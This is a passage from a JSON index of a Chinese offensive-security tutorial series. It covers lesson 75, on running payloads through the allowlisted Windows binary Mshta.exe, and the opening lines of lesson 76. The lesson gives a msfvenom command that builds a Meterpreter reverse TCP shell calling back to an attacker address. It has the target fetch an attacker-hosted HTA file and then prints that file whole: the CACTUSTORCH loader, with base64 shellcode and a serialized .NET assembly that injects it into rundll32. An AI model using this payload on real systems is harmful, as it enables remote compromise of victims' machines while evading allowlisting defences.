2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/75_基于白名单Mshta.exe执行payload第五季.html":{"url":"Chapter1/71-80/75_基于白名单Mshta.exe执行payload第五季.html","title":"第七十五课:基于白名单Mshta.exe执行payload第五季","keywords":"","body":"Mshta简介: Mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。 说明:Mshta所在路径已被系统添加PATH环境变量中,因此,可直接执行Mshta.exe命令。 基于白名单Mshta.exe配置payload: Windows 7 默认位置: C:\\Windows\\System32\\mshta.exe C:\\Windows\\SysWOW64\\mshta.exe 攻击机:192.168.1.4 Debian靶机: 192.168.1.3 Windows 7 配置攻击机msf: 配置payload: msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f raw > shellcode.bin cat shellcode.bin |base64 ‐w 0 替换如下: 靶机执行: mshta.exe http://192.168.1.4/Micropoor.hta 附录:Micropoor.hta 注:x86 payload ```visual basic ' Usage: ' Choose a binary you want to inject into, default \"rundll32.exe\", you can use note pad.exe, calc.exe for example... ' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt St rike, Metasploit Framework ' Run: cat payload.bin | base64 ‐w 0 ' Copy the base64 encoded payload into the code variable below. ' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32 Dim binary : binary = \"rundll32.exe\" ' Base64 encoded 32 bit shellcode Dim code : code = \"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1Y P4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=\" Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject(\"System.Text.ASCIIEncoding\") length = enc.GetByteCount_2(b) Set transform = CreateObject(\"System.Security.Cryptography.FromBase64Transform\") Set ms = CreateObject(\"System.IO.MemoryStream\") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run Dim s, entry_class s = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\" s = s & \"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\" s = s & \"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\" s = s & \"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\" s = s & \"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\" s = s & \"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\" s = s & \"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\" s = s & \"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\" s = s & \"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\" s = s & \"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\" s = s & \"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\" s = s & \"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\" s = s & \"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\" s = s & \"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\" s = s & \"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\" s = s & \"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\" s = s & \"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\" s = s & \"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\" s = s & \"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\" s = s & \"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\" s = s & \"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\" s = s & \"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\" s = s & \"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA\" s = s & \"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\" s = s & \"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA\" s = s & \"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\" s = s & \"AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA\" s = s & \"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA\" s = s & \"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT\" s = s & \"MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA\" s = s & \"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME\" s = s & \"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK\" s = s & \"ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK\" s = s & \"EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA\" s = s & \"BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC\" s = s & \"fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP\" s = s & \"AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj\" s = s & \"fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB\" s = s & \"AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA\" s = s & \"ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF\" s = s & \"kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG\" s = s & \"AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I\" s = s & \"qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK\" s = s & \"ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB\" s = s & \"AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG\" s = s & \"AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB\" s = s & \"AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW\" s = s & \"gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD\" s = s & \"AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG\" s = s & \"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I\" s = s & \"+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW\" s = s & \"gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA\" s = s & \"EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW\" s = s & \"IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg\" s = s & \"1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+\" s = s & \"BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA\" s = s & \"BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA\" s = s & \"AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA\" s = s & \"CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB\" s = s & \"AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG\" s = s & \"KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ\" s = s & \"ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA\" s = s & \"hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ\" s = s & \"AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA\" s = s & \"5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ\" s = s & \"AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB\" s = s & \"aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu\" s = s & \"ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA\" s = s & \"WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB\" s = s & \"AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA\" s = s & \"AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN\" s = s & \"b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S\" s = s & \"RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU\" s = s & \"RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP\" s = s & \"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB\" s = s & \"VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF\" s = s & \"VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT\" s = s & \"X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP\" s = s & \"VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP\" s = s & \"UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ\" s = s & \"VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU\" s = s & \"WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD\" s = s & \"UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP\" s = s & \"Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J\" s = s & \"Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X\" s = s & \"SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO\" s = s & \"SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy\" s = s & \"ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs\" s = s & \"cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl\" s = s & \"cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW\" s = s & \"YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1\" s = s & \"dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh\" s = s & \"ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli\" s = s & \"dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0\" s = s & \"cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz\" s = s & \"ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5\" s = s & \"Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3\" s = s & \"WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI\" s = s & \"RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n\" s = s & \"AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD\" s = s & \"VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz\" s = s & \"SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ\" s = s & \"bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT\" s = s & \"ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt\" s = s & \"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp\" s = s & \"bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp\" s = s & \"YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh\" s = s & \"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU\" s = s & \"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB\" s = s & \"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk\" s = s & \"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ\" s = s & \"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5\" s = s & \"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX\" s = s & \"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE\" s = s & \"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD\" s = s & \"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE\" s = s & \"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA\" s = s & \"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg\" s = s & \"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS\" s = s & \"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB\" s = s & \"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT\" s = s & \"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3\" s = s & \"NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA\" s = s & \"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A\" s = s & \"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA\" s = s & \"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA\" s = s & \"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs\" s = s & \"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA\" s = s & \"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA\" s = s & \"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA\" s = s & \"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu\" s = s & \"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA\" s = s & \"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV\" s = s & \"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\" s = s & \"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP\" s = s & \"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA\" s = s & \"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw\" s = s & \"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA\" s = s & \"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv\" s = s & \"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA\" entry_class = \"cactusTorch\" Dim fmt, al, d, o Set fmt = CreateObject(\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\") Set al = CreateObject(\"System.Collections.ArrayList\") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary,code End Sub SetVersion On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If self.close ``` 来源:https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/71-80/76_基于白名单Compiler.exe执行payload第六季.html":{"url":"Chapter1/71-80/76_基于白名单Compiler.exe执行payload第六季.html","title":"第七十六课:基于白名单Compiler.exe执行payload第六季","keywords":"","body":"注:请多喝点热水或者凉白开,身体特别重要。 说明:Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中,因此,Microsoft.Workflow.Compiler命令无法识别。 基于白名单Microsoft.Workflow.Compiler.exe配置payload: Windows 7 默认位置: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe 